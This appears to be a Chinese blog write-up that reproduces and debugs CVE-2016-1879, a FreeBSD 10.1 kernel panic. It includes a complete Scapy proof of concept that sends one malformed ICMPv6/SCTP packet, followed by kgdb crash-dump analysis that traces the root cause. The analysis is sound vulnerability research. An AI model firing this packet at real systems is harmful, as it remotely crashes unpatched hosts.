CVE-2016-1879 调试&分析

0x00 漏洞介绍

CVE-2016-1879是一个会导致freebsd内核崩溃的一个漏洞。漏洞的具体细节看这里

0x01 准备工作

1.1 系统安装

​ 测试系统为FreeBSD-10.1,镜像下载地址点这里,大概600M+。注意安装的时候需要选上拷贝内核源码。

​ 我在测试的时候poc使用kali-linux运行的。

1.2 重编内核

​ 因为需要调试FreeBSD的内核,所以需要一个带有debug符号的内核版本。我安装完虚拟机之后发现没有调试符,所以我重新编译了内核。具体过程就不复述了看这里,配置文件默认有调试信息的,所以不需要修改内核的配置文件直接编译安装即可。

1.3 其他设置

  • 当freebsd内核崩溃时保存dump文件,应该是默认开着的,检查/etc/rc.conf文件。
  • 允许root账号ssh远程登录,这样比较方便,不用ssh远程登录也是可以的。方法在这里
  • poc在kali linux系统中不需要配置直接通过python poc.py即可运行,其他系统可能需要自己安装依赖。

1.4 网络环境

​ 两台虚拟机均选择nat模式接入网络即可。

0x02漏洞重现

​ 获取freebsd的mac地址与ipv6地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@:~ # ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
ether 00:0c:29:f8:4d:dd
inet6 fe80::20c:29ff:fef8:4ddd%em0 prefixlen 64 scopeid 0x1
inet 172.16.9.186 netmask 0xffffff00 broadcast 172.16.9.255
nd6 options=23<PERFORMNUD,ACCEPT_RTADV,AUTO_LINKLOCAL>
media: Ethernet autoselect (1000baseT <full-duplex>)
status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
inet 127.0.0.1 netmask 0xff000000
nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>

​ 在kali中执行poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  /tmp  ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.9.185 netmask 255.255.255.0 broadcast 172.16.9.255
inet6 fe80::20c:29ff:fe80:3fb7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:80:3f:b7 txqueuelen 1000 (Ethernet)
RX packets 1011 bytes 169118 (165.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 94 bytes 15401 (15.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 0 (Local Loopback)
RX packets 50 bytes 2980 (2.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 2980 (2.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

➜ /tmp python poc.py -m 00:0c:29:f8:4d:dd -i fe80::20c:29ff:fef8:4ddd -I eth0
WARNING: No route found for IPv6 destination :: (no default route?)
.
Sent 1 packets.

​ 执行完之后就会发现freebsd的虚拟机自动重启了。重启完成之后查看可以看到已经产生了dump。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@:~ # ll /var/crash/
total 215408
-rw-r--r-- 1 root wheel 2 Feb 9 11:08 bounds
-rw------- 1 root wheel 75526 Feb 9 07:49 core.txt.0
-rw------- 1 root wheel 75224 Feb 9 09:44 core.txt.1
-rw------- 1 root wheel 90281 Feb 9 11:06 core.txt.2
-rw------- 1 root wheel 100905 Feb 9 11:08 core.txt.3
-rw------- 1 root wheel 439 Feb 9 07:49 info.0
-rw------- 1 root wheel 408 Feb 9 09:44 info.1
-rw------- 1 root wheel 407 Feb 9 11:06 info.2
-rw------- 1 root wheel 408 Feb 9 11:08 info.3
lrwxr-xr-x 1 root wheel 6 Feb 9 11:08 info.last@ -> info.3
-rw-r--r-- 1 root wheel 5 Nov 11 2014 minfree
-rw------- 1 root wheel 64851968 Feb 9 07:49 vmcore.0
-rw------- 1 root wheel 66797568 Feb 9 09:44 vmcore.1
-rw------- 1 root wheel 78901248 Feb 9 11:06 vmcore.2
-rw------- 1 root wheel 65212416 Feb 9 11:08 vmcore.3
lrwxr-xr-x 1 root wheel 8 Feb 9 11:08 vmcore.last@ -> vmcore.3

0x03 攻击包分析

3.1 分析poc

​ 先看poc代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import argparse
from scapy.all import *


def get_args():
parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()

if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()

return options


if __name__ == '__main__':
options = get_args()

sendp(
Ether(dst=options.dst_mac) /
IPv6(dst=options.dst_ipv6) /
ICMPv6DestUnreach() /
IPv6(nh=132, src=options.dst_ipv6, dst='fe80::230:56ff:fea6:648c'),
iface=options.iface
)

​ 从poc代码可以看出,我们只向目标机器发送一个网络包。

  • ICMPv6DestUnreach(),所以发送的是一个icmp错误信息包。
  • IPV6(nh=132,…),ICMPv6包的内容是一个nexthead为132的ipv6包。就是SCTP包。但是这个把包并没有任何SCTP协议的数据。

3.2 抓包分析

​ 通过wireshark抓取网络包。

wireshark抓包

​ 确实和我们分析的一样。可以看到payload的length是0。

0x04 分析VMCORE

​ 进入存放调试信息的文件夹。

1
2
3
4
5
root@:~ # cd /usr/obj/usr/src/sys/GENERIC/
root@:/usr/obj/usr/src/sys/GENERIC # ll | grep kernel
-rwxr-xr-x 1 root wheel 21156391 Feb 9 08:41 kernel*
-rwxr-xr-x 1 root wheel 87800381 Feb 9 08:41 kernel.debug*
-rwxr-xr-x 1 root wheel 70283677 Feb 9 08:41 kernel.symbols*

​ 启动kgdb调试崩溃的VMCORE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
root@:/usr/obj/usr/src/sys/GENERIC # kgdb kernel.debug /var/crash/vmcore.1 
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "amd64-marcel-freebsd"...

Unread portion of the kernel message buffer:


Fatal trap 12: page fault while in kernel mode
cpuid = 0; apic id = 00
fault virtual address = 0x18
fault code = supervisor read data, page not present
instruction pointer = 0x20:0xffffffff809959f0
stack pointer = 0x28:0xfffffe00003fd300
frame pointer = 0x28:0xfffffe00003fd340
code segment = base 0x0, limit 0xfffff, type 0x1b
= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = 0 (em0 taskq)
trap number = 12
panic: page fault
cpuid = 0
KDB: stack backtrace:
#0 0xffffffff80963000 at kdb_backtrace+0x60
#1 0xffffffff80928125 at panic+0x155
#2 0xffffffff80d24f1f at trap_fatal+0x38f
#3 0xffffffff80d25238 at trap_pfault+0x308
#4 0xffffffff80d2489a at trap+0x47a
#5 0xffffffff80d0a782 at calltrap+0x8
#6 0xffffffff80b091ed at sctp6_ctlinput+0xbd
#7 0xffffffff80ade0a5 at icmp6_input+0x1bf5
#8 0xffffffff80af2b0c at ip6_input+0x5cc
#9 0xffffffff809f44e2 at netisr_dispatch_src+0x62
#10 0xffffffff809eb996 at ether_demux+0x126
#11 0xffffffff809ec63e at ether_nh_input+0x35e
#12 0xffffffff809f44e2 at netisr_dispatch_src+0x62
#13 0xffffffff804de3d9 at lem_rxeof+0x489
#14 0xffffffff804ddbb1 at lem_handle_rxtx+0x31
#15 0xffffffff80971475 at taskqueue_run_locked+0xe5
#16 0xffffffff80971f08 at taskqueue_thread_loop+0xa8
#17 0xffffffff808f8b6a at fork_exit+0x9a
Uptime: 53m18s
Dumping 63 out of 232 MB:..26%..51%..76%

Reading symbols from /boot/kernel/uhid.ko.symbols...done.
Loaded symbols for /boot/kernel/uhid.ko.symbols
#0 doadump (textdump=<value optimized out>) at pcpu.h:219
219 __asm("movq %%gs:%1,%0" : "=r" (td)
(kgdb)

​ 这个时候只需要键入bt就可以看到带有调试符的崩溃信息了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(kgdb) bt
#0 doadump (textdump=<value optimized out>) at pcpu.h:219
#1 0xffffffff80927da2 in kern_reboot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:452
#2 0xffffffff80928164 in panic (fmt=<value optimized out>) at /usr/src/sys/kern/kern_shutdown.c:759
#3 0xffffffff80d24f1f in trap_fatal (frame=<value optimized out>, eva=<value optimized out>) at /usr/src/sys/amd64/amd64/trap.c:865
#4 0xffffffff80d25238 in trap_pfault (frame=0xfffffe00003fd250, usermode=<value optimized out>) at /usr/src/sys/amd64/amd64/trap.c:676
#5 0xffffffff80d2489a in trap (frame=0xfffffe00003fd250) at /usr/src/sys/amd64/amd64/trap.c:440
#6 0xffffffff80d0a782 in calltrap () at /usr/src/sys/amd64/amd64/exception.S:232
#7 0xffffffff809959f0 in m_copydata (m=<value optimized out>, off=<value optimized out>, len=<value optimized out>, cp=<value optimized out>) at /usr/src/sys/kern/uipc_mbuf.c:884
#8 0xffffffff80b091ed in sctp6_ctlinput (cmd=8, pktdst=0xfffffe00003fd4f0, d=0xfffffe00003fd4a8) at /usr/src/sys/netinet6/sctp6_usrreq.c:409
#9 0xffffffff80ade0a5 in icmp6_input (mp=<value optimized out>, offp=<value optimized out>, proto=<value optimized out>) at /usr/src/sys/netinet6/icmp6.c:1176
#10 0xffffffff80af2b0c in ip6_input (m=0xfffff80002a61d00) at /usr/src/sys/netinet6/ip6_input.c:1019
#11 0xffffffff809f44e2 in netisr_dispatch_src (proto=<value optimized out>, source=<value optimized out>, m=0x0) at /usr/src/sys/net/netisr.c:972
#12 0xffffffff809eb996 in ether_demux (ifp=<value optimized out>, m=0xfffff80002a61d00) at /usr/src/sys/net/if_ethersubr.c:851
#13 0xffffffff809ec63e in ether_nh_input (m=<value optimized out>) at /usr/src/sys/net/if_ethersubr.c:646
#14 0xffffffff809f44e2 in netisr_dispatch_src (proto=<value optimized out>, source=<value optimized out>, m=0x0) at /usr/src/sys/net/netisr.c:972
#15 0xffffffff804de3d9 in lem_rxeof (count=<value optimized out>) at /usr/src/sys/dev/e1000/if_lem.c:3824
#16 0xffffffff804ddbb1 in lem_handle_rxtx (context=0xfffffe00007df000, pending=<value optimized out>) at /usr/src/sys/dev/e1000/if_lem.c:1440
#17 0xffffffff80971475 in taskqueue_run_locked (queue=0xfffff800023f0300) at /usr/src/sys/kern/subr_taskqueue.c:342
#18 0xffffffff80971f08 in taskqueue_thread_loop (arg=<value optimized out>) at /usr/src/sys/kern/subr_taskqueue.c:563
#19 0xffffffff808f8b6a in fork_exit (callout=0xffffffff80971e60 <taskqueue_thread_loop>, arg=0xfffffe00007e1830, frame=0xfffffe00003fdac0) at /usr/src/sys/kern/kern_fork.c:996
#20 0xffffffff80d0acbe in fork_trampoline () at /usr/src/sys/amd64/amd64/exception.S:606
#21 0x0000000000000000 in ?? ()
Current language: auto; currently minimal
(kgdb)

​ 可以看到0~6都已经是系统的异常处理了。所以我们直接看#7栈。

1
2
3
(kgdb) f 7
#7 0xffffffff809959f0 in m_copydata (m=<value optimized out>, off=<value optimized out>, len=<value optimized out>, cp=<value optimized out>) at /usr/src/sys/kern/uipc_mbuf.c:884
884 while (len > 0) {

​ 打开源码/usr/src/sys/kern/uipc_mbuf.c看m_copydata函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
* Copy data from an mbuf chain starting "off" bytes from the beginning,
* continuing for "len" bytes, into the indicated buffer.
*/

void
m_copydata(const struct mbuf *m, int off, int len, caddr_t cp)
{

u_int count;

KASSERT(off >= 0, ("m_copydata, negative off %d", off));
KASSERT(len >= 0, ("m_copydata, negative len %d", len));
while (off > 0) {
KASSERT(m != NULL, ("m_copydata, offset > size of mbuf chain"));//第一个m的assert
if (off < m->m_len)
break;
off -= m->m_len;
m = m->m_next;
}
while (len > 0) { //884行
KASSERT(m != NULL, ("m_copydata, length > size of mbuf chain")); //885行
//这里以下不重要
//这里以下不重要
count = min(m->m_len - off, len);
bcopy(mtod(m, caddr_t) + off, cp, count);
len -= count;
cp += count;
off = 0;
m = m->m_next;
}
}

​ 明显可以看出来是被assert掉了。说明m是一个NULL。但是上面的assert并没有触发。根据代码上下文判断只有一个可能。那就是m = m->next的时候m被赋值成了NULL。说明m->next是一个NULL。

​ 根据线索只能分析出这么多,那么再看上一级调用。看看到底传进来的参数是什么。

1
2
3
(kgdb) f 8
#8 0xffffffff80b091ed in sctp6_ctlinput (cmd=8, pktdst=0xfffffe00003fd4f0, d=0xfffffe00003fd4a8) at /usr/src/sys/netinet6/sctp6_usrreq.c:409
409 m_copydata(ip6cp->ip6c_m, ip6cp->ip6c_off, sizeof(sh),

​ 那么我们需要知道ip6cp的数据。根据源码/usr/src/sys/netinet6/sctp6_usrreq.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void
sctp6_ctlinput(int cmd, struct sockaddr *pktdst, void *d)
{

struct sctphdr sh;
struct ip6ctlparam *ip6cp = NULL;
uint32_t vrf_id;

vrf_id = SCTP_DEFAULT_VRFID;

if (pktdst->sa_family != AF_INET6 ||
pktdst->sa_len != sizeof(struct sockaddr_in6))
return;

if ((unsigned)cmd >= PRC_NCMDS)
return;
if (PRC_IS_REDIRECT(cmd)) {
d = NULL;
} else if (inet6ctlerrmap[cmd] == 0) {
return;
}
/* if the parameter is from icmp6, decode it. */
if (d != NULL) {
ip6cp = (struct ip6ctlparam *)d;
} else {
ip6cp = (struct ip6ctlparam *)NULL;
}

if (ip6cp) {
/*
* XXX: We assume that when IPV6 is non NULL, M and OFF are
* valid.
*/

/* check if we can safely examine src and dst ports */
struct sctp_inpcb *inp = NULL;
struct sctp_tcb *stcb = NULL;
struct sctp_nets *net = NULL;
struct sockaddr_in6 final;

if (ip6cp->ip6c_m == NULL)
return;

bzero(&sh, sizeof(sh));
bzero(&final, sizeof(final));
inp = NULL;
net = NULL;
m_copydata(ip6cp->ip6c_m, ip6cp->ip6c_off, sizeof(sh),
(caddr_t)&sh);

...
后面不重要

​ 我们可以通过代码 ip6cp = (struct ip6ctlparam *)d; 得知,ip6cp就是传入的参数d做了一次类型转换。

1
2
3
(kgdb) p *(struct ip6ctlparam *)d
$1 = {ip6c_m = 0xfffff80002a61d00, ip6c_icmp6 = 0xfffff80002b10038, ip6c_ip6 = 0xfffff80002b10040, ip6c_off = 88, ip6c_src = 0xfffffe00003fd510, ip6c_dst = 0xfffffe00003fd540,
ip6c_finaldst = 0xfffff80002b10058, ip6c_cmdarg = 0x10000000, ip6c_nxt = 132 '\204'}

​ 我们可以得到ip6cp的数据。m_copydata函数的第一个参数m就是这里的ip6c_m = 0xfffff80002a61d00,数据结构为struct mbuf

​ 另外一个要注意的是ip6c_off = 88

1
2
3
4
5
6
7
8
(kgdb) p *(struct mbuf *)0xfffff80002a61d00
$2 = {m_hdr = {mh_next = 0x0, mh_nextpkt = 0x0, mh_data = 0xfffff80002b10010 "`", mh_len = 88, mh_type = 1, mh_flags = 3}, M_dat = {MH = {MH_pkthdr = {rcvif = 0xfffff800023d7800, tags = {
slh_first = 0xfffff80002a5c900}, len = 88, flowid = 0, csum_flags = 0, fibnum = 0, cosqos = 0 '\0', rsstype = 0 '\0', l2hlen = 0 '\0', l3hlen = 0 '\0', l4hlen = 0 '\0',
l5hlen = 0 '\0', PH_per = {eigth = "\000\000\000\000\000\000\000", sixteen = {0, 0, 0, 0}, thirtytwo = {0, 0}, sixtyfour = {0}, unintptr = {0}, ptr = 0x0}, PH_loc = {
eigth = "\000\000\000\000\000\000\000", sixteen = {0, 0, 0, 0}, thirtytwo = {0, 0}, sixtyfour = {0}, unintptr = {0}, ptr = 0x0}}, MH_dat = {MH_ext = {ref_cnt = 0xfffff80002affb50,
ext_buf = 0xfffff80002b10000 "", ext_size = 2048, ext_type = 6, ext_flags = 0, ext_free = 0, ext_arg1 = 0x0, ext_arg2 = 0x0},
MH_databuf = "P?\002\000???\000\000?\002\000???\000\b\000\000\006", '\0' <repeats 146 times>}},
M_databuf = "\000x=\002\000???\000ɥ\002\000???X", '\0' <repeats 39 times>, "P?\002\000???\000\000?\002\000???\000\b\000\000\006", '\0' <repeats 146 times>}}

​ 可以看到mh_next=0x0,果然next是null。

​ 同时可以看到处理的网络包的len是88。我回过头去数了一下抓到的网络包的字节数,除去以太网数据帧的头部信息之外,刚好就是88个字节。

0x05崩溃原因

​ 1.根据协议发送的网络包告知系统ICMPv6中包含一个SCTP网络包。但是网络包的PAYLOAD是空的。

​ 2.SCTP网络包解析函数 sctp6_ctlinput 默认函数调用者传递来的网络包都是正确的网络包。所以并没有检测参数是否正常,而直接获取数据进行解析。

​ 3.前面的包头都已经被分析完成。off与m->m_len都为88。

​ 4.在m_copydata调用时,因为并没有payload,所以只用了一个mbuf。mbuf->next的值为NULL。

​ 导致触发了断言,内核崩溃。

0x06后记

​ 有两点程序开发时的要点需要牢记,在这个bug的分析中,再次体现了他们的重要性。

​ 1. 不要默认调用者传递的参数是正确的,要做好异常处理。

​ 2. 多用ASSERT,让程序越早崩溃越好。

0x07 参考&感谢

​ 感谢分享:)。

  1. [FreeBSD Remote DoS Exploit (Demo) (CVE-2016-1879)

    (http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html)

  2. freebsd下保存内核崩溃时的信息

    (http://www.jiancool.com/article/479627865/)

  3. Enable root Login On FreeBSD 10

    (http://www.unixmen.com/enable-root-login-ssh-freebsd-10/)

  4. icmpv6协议

    (https://zh.wikipedia.org/wiki/ICMPv6)

文章目录
  1. 1. 0x00 漏洞介绍
  2. 2. 0x01 准备工作
    1. 2.1. 1.1 系统安装
    2. 2.2. 1.2 重编内核
    3. 2.3. 1.3 其他设置
    4. 2.4. 1.4 网络环境
  3. 3. 0x02漏洞重现
  4. 4. 0x03 攻击包分析
    1. 4.1. 3.1 分析poc
    2. 4.2. 3.2 抓包分析
  5. 5. 0x04 分析VMCORE
  6. 6. 0x05崩溃原因
  7. 7. 0x06后记
  8. 8. 0x07 参考&感谢
,